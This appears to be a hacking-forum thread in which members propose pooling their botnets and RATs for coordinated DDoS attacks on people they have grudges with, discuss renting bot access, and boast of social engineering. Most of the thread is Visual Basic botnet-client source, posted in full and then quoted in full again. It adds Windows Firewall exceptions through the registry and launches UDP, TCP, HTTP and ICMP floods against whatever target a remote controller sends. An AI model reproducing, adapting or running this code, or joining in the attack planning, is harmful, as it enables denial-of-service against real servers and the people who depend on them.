Come together?

[xDarryl]

Anybody out there with a Botnet or with a good enough client base on there RAT's with a dD0s function?

If so reply with how many clients you have and we should all join together (not our botnets keep em separate but attack at the same time)

If we get enough people we could have a decent army to do somethings =]

No pointless attacking. People with beef with anybody on here?

[Xon]

I had someone just attack my personal website. Does that count?

[ravenscar]

really, is that why your back?

[Xon]

Actually no... I never left. I just went on a little vacation in the woods.

[Blood]

I lost my botnet, Got sent to a boarding school with no computer access and got pushed on my ass. If there's anyone on here (looks at xDarryl) who wants to let me pay a monthly fee to use theirs PM me.

[Xon]

a monthly fee? for what? server access?

[Blood]

Yezzir lol.
Edit: There was a guy named Snipa like that, you set me up my own IRC channel and give me some bots depending on the payment. He did 50 bots for 10 bucks a month [: They where just RFI's but they stayed on, and it worked :P

[DoG MikkyW]

God damn it Blood, it seems like you know something. I remember something about you, maybe... Anyways, as for botnets, no clue, I'm into 'sploits. Not so much the bashing and brute-forcing side of hacking.

[Xon]

I love brutes... I want to make a network brute... that would be fun as hell and great for massive attacks on one password

[Blood]

Lol Mikky, me and Ghost worked together for a while. Me you and him are really the only people who i've noticed contributing in the pwns section. I haven't been around for a while though.

[Xon]

which ghost are you talking about blood?

[Blood]

Exodus ;x (too short)

[Xon]

what did you work on?

ETA is back , FYI.

[Worshipped]

code for DDos and windows firewall disable from a botnet clients source i was looking at


Public Function WindowsFirewall_AddException( _
Path As String, _
Enabled As Boolean, _
Description As String) As Boolean

' VariablesDimension
Dim FWEntryData As String

' AnticipatingMistakes
On Error Resume Next
On Error GoTo Err_Handle

' FWEntryData
FWEntryData = Path & ":*:" & IIf(Enabled = True, "Enabled", "Disabled") & ":" & Description

' SetRegistryInformation
Registry_SaveValue_String _
HKEY_LOCAL_MACHINE, _
"SYSTEM\ControlSet001\Services\SharedAccess\Paramet ers\FirewallPolicy\StandardProfile\AuthorizedAppli cations\List", _
Path, _
FWEntryData

' SetStatus
WindowsFirewall_AddException = True

' ErrorHandle
Exit Function
Err_Handle:
WindowsFirewall_AddException = False
End Function
Public Function WindowsFirewall_RemoveException(Path As String) As Boolean
' AnticipatingMistakes
On Error Resume Next
On Error GoTo Err_Handle

' RemoveRegistryInformation
Registry_Delete_Value _
HKEY_LOCAL_MACHINE, _
"SYSTEM\ControlSet001\Services\SharedAccess\Paramet ers\FirewallPolicy\StandardProfile\AuthorizedAppli cations\List", _
Path

' SetStatus
WindowsFirewall_RemoveException = True

' ErrorHandle
Exit Function
Err_Handle:
WindowsFirewall_RemoveException = False
End Function


Private Sub udpsocket_SendComplete(Index As Integer)
On Error Resume Next
With pckt
udpsocket(Index).Close
udpsocket(Index).Protocol = sckUDPProtocol
udpsocket(Index).Connect .Ip, .Prt
End With

End Sub

Private Sub Winsock1_Connect()
Dim status As Integer
status = 0
If poo.Apache <> "0" Then status = status + 1
If poo.HTTP <> "0" Then status = status + 1
If poo.ICMP <> "0" Then status = status + 1
If poo.udp <> "0" Then status = status + 1
Winsock1.SendData "Status: " & status & " - Attacks Enabled" & " | " & App.Major & "." & App.Minor & "." & App.Revision
End Sub
Function ICMP()

If poo.ICMP <> 0 Then Winsock1.SendData "Status: [ICMP - Already Enabled]": Exit Function
poo.ICMP = 1
Winsock1.SendData "Status: [ Icmp - Attack Enabled ]"
y = True
Do While y = True
SockICMP.Ping txtip.Text, String(txtpck.Text, Chr$(&HF))
Call Pause(txtinv.Text)
Loop
End Function
Function icmpstop()

y = False
End Function
Function Apache()
On Error Resume Next
Dim X As Integer
If poo.Apache <> 0 Then Winsock1.SendData "Status: [Apache - Already Enabled]": Exit Function
poo.Apache = 1
Winsock1.SendData "Status: [ Apache - Attack Enabled ]"
With pckt
For X = 1 To .Socket
Unload apchsocket(X)
Load apchsocket(X)
Unload time1(X)
Load time1(X)
time1(X).Enabled = False
time1(X).interval = .Inter * 100
apchsocket(X).Close
apchsocket(X).Protocol = sckTCPProtocol
apchsocket(X).Connect .Ip, .Prt
time1(X).Enabled = True
Next X
End With

End Function
Function stopapache()
On Error Resume Next
Dim i As Integer
For i = 1 To time1.UBound
time1(i).Enabled = False
apchsocket(i).Close
Next i
End Function
Function HTTP()
On Error Resume Next
Dim i As Integer
If poo.HTTP <> 0 Then Winsock1.SendData "Status: [HTTP - Already Enabled]": Exit Function
poo.HTTP = 1
With pckt
For i = 1 To .Socket
Unload httpsocket(i)
Load httpsocket(i)
Unload Time2(i)
Load Time2(i)
Time2(i).Enabled = False
Time2(i).interval = .Inter * 100
httpsocket(i).Close
httpsocket(i).Protocol = sckTCPProtocol
httpsocket(i).Connect .Ip, 80
Time2(i).Enabled = False
Next i
Winsock1.SendData "Status: [ HTTP - Attack Enabled ]"
End With
End Function
Function httpstop()
On Error Resume Next
Dim i As Integer
For i = 1 To Time2.UBound
Time2(i).Enabled = False
httpsocket(i).Close
Next i
End Function
Function udp()
On Error Resume Next
Dim X As Integer
If poo.udp <> 0 Then Winsock1.SendData "Status: [UDP - Already Enabled]": Exit Function
poo.udp = 1
With pckt
For X = 1 To .Socket
Unload udpsocket(X)
Load udpsocket(X)
Unload time(X)
Load time(X)
time(X).Enabled = False
time(X).interval = .Inter * 100
udpsocket(X).Close
udpsocket(X).Protocol = sckUDPProtocol
udpsocket(X).Connect .Ip, .Prt
time(X).Enabled = True
Next X
Winsock1.SendData "Status: [ UDP - Attack Enabled ]"
End With
End Function
Function udpstop()
On Error Resume Next
Dim i As Integer
For i = 1 To time.UBound
time(i).Enabled = False
udpsocket(i).Close
Next i
End Function
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String
Winsock1.GetData Data
Dim i As Integer
If checks = True Then Exit Sub
If InStr(Data, "UDP") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, ":")(0)
.Prt = Split(Data, ":")(1)
.Prt = Split(.Prt, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
Call udp
End With
ElseIf InStr(Data, "Apache") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, ":")(0)
.Prt = Split(Data, ":")(1)
.Prt = Split(.Prt, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
Call Apache
End With
ElseIf InStr(Data, "HTTP") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(Data, "")(0)
Call HTTP
End With
ElseIf InStr(Data, "ICMP") Then
With pckt
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
txtip.Text = .Ip
txtpck.Text = .Packet
txtinv.Text = .Inter
Call ICMP
End With
ElseIf InStr(Data, "STOP") Then
poo.HTTP = 0
Call httpstop
poo.udp = 0
Call udpstop
poo.Apache = 0
Call stopapache
poo.ICMP = 0
Call icmpstop
Winsock1.SendData "Status: [ All Attacks Disabled ]"
ElseIf InStr(Data, "RESET") Then
Call Shell("C:\WINDOWS\winlogon.exe")
End
ElseIf InStr(Data, "END") Then
End
End If

End Sub

[xDarryl]

code for DDos and windows firewall disable from a botnet clients source i was looking at


Public Function WindowsFirewall_AddException( _
Path As String, _
Enabled As Boolean, _
Description As String) As Boolean

' VariablesDimension
Dim FWEntryData As String

' AnticipatingMistakes
On Error Resume Next
On Error GoTo Err_Handle

' FWEntryData
FWEntryData = Path & ":*:" & IIf(Enabled = True, "Enabled", "Disabled") & ":" & Description

' SetRegistryInformation
Registry_SaveValue_String _
HKEY_LOCAL_MACHINE, _
"SYSTEM\ControlSet001\Services\SharedAccess\Paramet ers\FirewallPolicy\StandardProfile\AuthorizedAppli cations\List", _
Path, _
FWEntryData

' SetStatus
WindowsFirewall_AddException = True

' ErrorHandle
Exit Function
Err_Handle:
WindowsFirewall_AddException = False
End Function
Public Function WindowsFirewall_RemoveException(Path As String) As Boolean
' AnticipatingMistakes
On Error Resume Next
On Error GoTo Err_Handle

' RemoveRegistryInformation
Registry_Delete_Value _
HKEY_LOCAL_MACHINE, _
"SYSTEM\ControlSet001\Services\SharedAccess\Paramet ers\FirewallPolicy\StandardProfile\AuthorizedAppli cations\List", _
Path

' SetStatus
WindowsFirewall_RemoveException = True

' ErrorHandle
Exit Function
Err_Handle:
WindowsFirewall_RemoveException = False
End Function


Private Sub udpsocket_SendComplete(Index As Integer)
On Error Resume Next
With pckt
udpsocket(Index).Close
udpsocket(Index).Protocol = sckUDPProtocol
udpsocket(Index).Connect .Ip, .Prt
End With

End Sub

Private Sub Winsock1_Connect()
Dim status As Integer
status = 0
If poo.Apache <> "0" Then status = status + 1
If poo.HTTP <> "0" Then status = status + 1
If poo.ICMP <> "0" Then status = status + 1
If poo.udp <> "0" Then status = status + 1
Winsock1.SendData "Status: " & status & " - Attacks Enabled" & " | " & App.Major & "." & App.Minor & "." & App.Revision
End Sub
Function ICMP()

If poo.ICMP <> 0 Then Winsock1.SendData "Status: [ICMP - Already Enabled]": Exit Function
poo.ICMP = 1
Winsock1.SendData "Status: [ Icmp - Attack Enabled ]"
y = True
Do While y = True
SockICMP.Ping txtip.Text, String(txtpck.Text, Chr$(&HF))
Call Pause(txtinv.Text)
Loop
End Function
Function icmpstop()

y = False
End Function
Function Apache()
On Error Resume Next
Dim X As Integer
If poo.Apache <> 0 Then Winsock1.SendData "Status: [Apache - Already Enabled]": Exit Function
poo.Apache = 1
Winsock1.SendData "Status: [ Apache - Attack Enabled ]"
With pckt
For X = 1 To .Socket
Unload apchsocket(X)
Load apchsocket(X)
Unload time1(X)
Load time1(X)
time1(X).Enabled = False
time1(X).interval = .Inter * 100
apchsocket(X).Close
apchsocket(X).Protocol = sckTCPProtocol
apchsocket(X).Connect .Ip, .Prt
time1(X).Enabled = True
Next X
End With

End Function
Function stopapache()
On Error Resume Next
Dim i As Integer
For i = 1 To time1.UBound
time1(i).Enabled = False
apchsocket(i).Close
Next i
End Function
Function HTTP()
On Error Resume Next
Dim i As Integer
If poo.HTTP <> 0 Then Winsock1.SendData "Status: [HTTP - Already Enabled]": Exit Function
poo.HTTP = 1
With pckt
For i = 1 To .Socket
Unload httpsocket(i)
Load httpsocket(i)
Unload Time2(i)
Load Time2(i)
Time2(i).Enabled = False
Time2(i).interval = .Inter * 100
httpsocket(i).Close
httpsocket(i).Protocol = sckTCPProtocol
httpsocket(i).Connect .Ip, 80
Time2(i).Enabled = False
Next i
Winsock1.SendData "Status: [ HTTP - Attack Enabled ]"
End With
End Function
Function httpstop()
On Error Resume Next
Dim i As Integer
For i = 1 To Time2.UBound
Time2(i).Enabled = False
httpsocket(i).Close
Next i
End Function
Function udp()
On Error Resume Next
Dim X As Integer
If poo.udp <> 0 Then Winsock1.SendData "Status: [UDP - Already Enabled]": Exit Function
poo.udp = 1
With pckt
For X = 1 To .Socket
Unload udpsocket(X)
Load udpsocket(X)
Unload time(X)
Load time(X)
time(X).Enabled = False
time(X).interval = .Inter * 100
udpsocket(X).Close
udpsocket(X).Protocol = sckUDPProtocol
udpsocket(X).Connect .Ip, .Prt
time(X).Enabled = True
Next X
Winsock1.SendData "Status: [ UDP - Attack Enabled ]"
End With
End Function
Function udpstop()
On Error Resume Next
Dim i As Integer
For i = 1 To time.UBound
time(i).Enabled = False
udpsocket(i).Close
Next i
End Function
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String
Winsock1.GetData Data
Dim i As Integer
If checks = True Then Exit Sub
If InStr(Data, "UDP") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, ":")(0)
.Prt = Split(Data, ":")(1)
.Prt = Split(.Prt, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
Call udp
End With
ElseIf InStr(Data, "Apache") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, ":")(0)
.Prt = Split(Data, ":")(1)
.Prt = Split(.Prt, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
Call Apache
End With
ElseIf InStr(Data, "HTTP") Then
With pckt
.Socket = Split(Data, "^")(1)
.Socket = Split(.Socket, "*")(0)
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(Data, "")(0)
Call HTTP
End With
ElseIf InStr(Data, "ICMP") Then
With pckt
.Ip = Split(Data, "*")(1)
.Ip = Split(.Ip, "#")(0)
.Packet = Split(Data, "#")(1)
.Packet = Split(.Packet, "/")(0)
.Inter = Split(Data, "/")(1)
.Inter = Split(.Inter, "")(0)
txtip.Text = .Ip
txtpck.Text = .Packet
txtinv.Text = .Inter
Call ICMP
End With
ElseIf InStr(Data, "STOP") Then
poo.HTTP = 0
Call httpstop
poo.udp = 0
Call udpstop
poo.Apache = 0
Call stopapache
poo.ICMP = 0
Call icmpstop
Winsock1.SendData "Status: [ All Attacks Disabled ]"
ElseIf InStr(Data, "RESET") Then
Call Shell("C:\WINDOWS\winlogon.exe")
End
ElseIf InStr(Data, "END") Then
End
End If

End Sub

OMG... THANK THANK THANK YOU!!! I didn't know how to use a search engine lol just kidding.

Where'd you get this from? Not saying it is but it's probably already either fucked with or been detected.

[Xon]

wow xDarryl.

[Blood]

ETA is back? Niez.. same site or what?
And I didn't do much with him, he helped me on a few remote access projects of mine and SQL injections :D I didn't know as much back then, he's pretty amazing tbh. And the best part is, unlike most "hack lords" he's a kind guy too. There's this group called HBX, leader was a total dickhead. It's alright though, they got social engineered by yours truly. I didn't do much though judging that they where pretty badass back then, now they don't even have forums anymore.

[Xon]

Ha ha.. nice man...

Yeah, ETA is back... new site... www.eoeta.com. Come check it out now...

[Worshipped]

the code doesnt matter much, the packer is what you're constantly updating. :P

[Xon]

What mass?